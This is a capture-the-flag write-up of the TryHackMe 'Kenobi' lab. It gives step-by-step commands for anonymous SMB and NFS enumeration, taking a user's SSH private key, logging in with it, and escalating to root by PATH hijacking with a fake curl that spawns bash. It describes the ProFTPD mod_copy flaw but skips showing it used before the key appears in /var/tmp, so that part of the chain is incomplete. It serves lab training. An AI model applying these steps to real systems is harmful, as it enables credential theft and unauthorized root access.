Post cover image

October 1, 2026

Kenobi — TryHackMe Write-Up

Introduction

By Youssefsamir

5 min read

Introduction

In this write-up, I will walk through my exploitation of the Kenobi machine from TryHackMe.

The objective was to enumerate the target, identify exposed services, obtain an SSH private key, gain access as the kenobi user, and finally escalate privileges to root.

Platform: TryHackMe Machine: Kenobi Target: 10.112.169.0

1. Initial Enumeration

I started by scanning the target using Nmap to identify open ports and service versions.

nmap 10.112.169.0 -sV

The scan revealed several interesting services:

21/tcp    open  ftp        ProFTPD 1.3.5
22/tcp    open  ssh        OpenSSH 8.2p1 Ubuntu
80/tcp    open  http       Apache httpd 2.4.41
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn Samba
445/tcp   open  netbios-ssn Samba
2049/tcp  open  nfs
None

The most interesting services were SMB, NFS, FTP and SSH, so I started enumerating them individually.

2. SMB Enumeration

I first checked the available SMB shares:

smbclient -L //10.112.169.0/

The server exposed an interesting share named:

anonymous
None

Since the share was accessible anonymously, I connected to it without providing a password:

smbclient //10.112.169.0/anonymous -N

I then listed the files:

ls

There was a file named:

log.txt

I downloaded it:

get log.txt
None

I inspected the downloaded file:

cat log.txt

The file contained an important piece of information about the kenobi user's SSH private key.

3. Finding the SSH Private Key

Inside log.txt, I found references to an SSH key being generated for the kenobi user:

Generating public/private rsa key pair.
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.

This gave me a potential target:

/home/kenobi/.ssh/id_rsa

If I could obtain this private key, I could potentially authenticate to SSH as kenobi.

None

At this point, I continued enumerating the other services.

4. Investigating ProFTPD

Nmap identified the FTP service as:

ProFTPD 1.3.5

I searched for known vulnerabilities affecting this version and found a vulnerability involving the mod_copy module.

The vulnerable functionality uses the following FTP commands:

SITE CPFR
SITE CPTO

CPFR means Copy From, while CPTO means Copy To.

The important point is that this functionality can allow an unauthenticated attacker to copy files from one location to another on a vulnerable server.

None

This became useful because I needed a way to move the SSH private key into a location that I could access.

5. NFS Enumeration

Nmap also showed that NFS was running on port 2049.

I checked the available NFS exports:

showmount -e 10.112.169.0

The server exposed:

/var

The command revealed that the /var directory was exported through NFS.

Since /var was accessible through NFS, I mounted it locally:

Since /var was exposed through NFS, I mounted it on my Kali machine:

sudo mount -t nfs 10.112.169.0:/var thmssh

Then I entered the mounted directory:

cd thmssh

Listing the contents showed the normal /var directories:

backups
cache
crash
lib
local
lock
log
mail
opt
run
snap
spool
tmp
www

Screenshot 7 — Mounted NFS Directory

None

The tmp directory caught my attention, so I checked it:

cd tmp
ls

And found:

id_rsa
None

This was the SSH private key I had been looking for.

6. Extracting the SSH Key

I copied the private key to my local /tmp directory:

cp id_rsa /tmp/id_rsa

Then I changed its permissions:

chmod 600 /tmp/id_rsa

Private SSH keys should have restrictive permissions, otherwise SSH may refuse to use them.

None None

Now I had the private key locally.

7. SSH Access

I attempted to authenticate to the target using the recovered private key:

ssh -i id_rsa kenobi@10.112.169.0

The connection was successful.

I verified the current user:

whoami

Output:

kenobi
None

I then checked the user's files:

ls

There was a user.txt file.

I read it using:

cat user.txt
None

At this point, I had successfully obtained user-level access.

8. Privilege Escalation Enumeration

The next objective was to escalate from:

kenobi

to:

root

While enumerating the system, I discovered a custom command called:

menu

Running it displayed:

***************************************
1. status check
2. kernel version
3. ifconfig
***************************************
None

I selected option 1:

1. status check

The command internally relied on curl.

This was interesting because the command was being called without an absolute path.

9. PATH Hijacking

I checked the current $PATH:

echo $PATH

I then placed /tmp at the beginning of the PATH:

export PATH=/tmp:$PATH

This means that when a program searches for an executable such as:

curl

it will first check:

/tmp/curl

before checking the normal system directories.

None

I created a fake curl file:

touch /tmp/curl

Then inserted:

echo /bin/bash > /tmp/curl

Finally, I made it executable:

chmod 777 /tmp/curl
None

Now /tmp/curl would be executed whenever the vulnerable program searched for curl.

10. Getting Root

I executed the menu again:

menu

Then selected:

1. status check

Because /tmp was at the beginning of $PATH, the system executed my malicious /tmp/curl instead of the legitimate curl.

Since the command was executed with elevated privileges, /bin/bash gave me a root shell.

I verified my privileges:

whoami

Output:

root
None

I also verified the account information:

id

This confirmed that I had successfully escalated to root.

11. Root Flag

Finally, I accessed the root directory:

cd /root

Then read the flag:

cat root.txt
None

The machine was successfully rooted.

Attack Chain

The complete attack path was:

Nmap Enumeration
        ↓
SMB Anonymous Share
        ↓
Download log.txt
        ↓
Discover SSH Key
        ↓
NFS Enumeration
        ↓
/var Export
        ↓
Find /var/tmp/id_rsa
        ↓
Recover SSH Private Key
        ↓
SSH as kenobi
        ↓
Privilege Escalation Enumeration
        ↓
PATH Hijacking
        ↓
Malicious /tmp/curl
        ↓
Root Shell
        ↓
Root Flag

What I Learned

This machine demonstrated how several small weaknesses can be chained together to achieve full system compromise.

Enumeration is critical

The initial Nmap scan revealed multiple services, which gave me several directions to investigate.

SMB can leak sensitive information

The anonymous SMB share exposed log.txt, which provided valuable information about the SSH key.

NFS misconfiguration can expose sensitive files

The /var directory was accessible through NFS, eventually leading to the discovery of the private SSH key.

Private SSH keys must be protected

Once the id_rsa key was recovered, I could authenticate as the kenobi user without needing the user's password.

PATH hijacking is a powerful privilege escalation technique

If a privileged program executes a command using only its name instead of its absolute path, an attacker may be able to control which executable gets executed.

Final Thoughts

The most important lesson I took from the Kenobi machine is that penetration testing is not always about finding one huge vulnerability.

Sometimes the attack path is built by combining multiple weaknesses:

Information Disclosure
        +
NFS Misconfiguration
        +
Exposed SSH Key
        +
PATH Hijacking
        =
Root Access

The workflow I followed was:

Enumerate → Investigate → Exploit → Access → Escalate

This machine was a great practical exercise for understanding Linux enumeration, SMB/NFS misconfigurations, SSH key abuse, and privilege escalation.

Thanks for reading! 🚀

More write-ups and cybersecurity labs coming soon.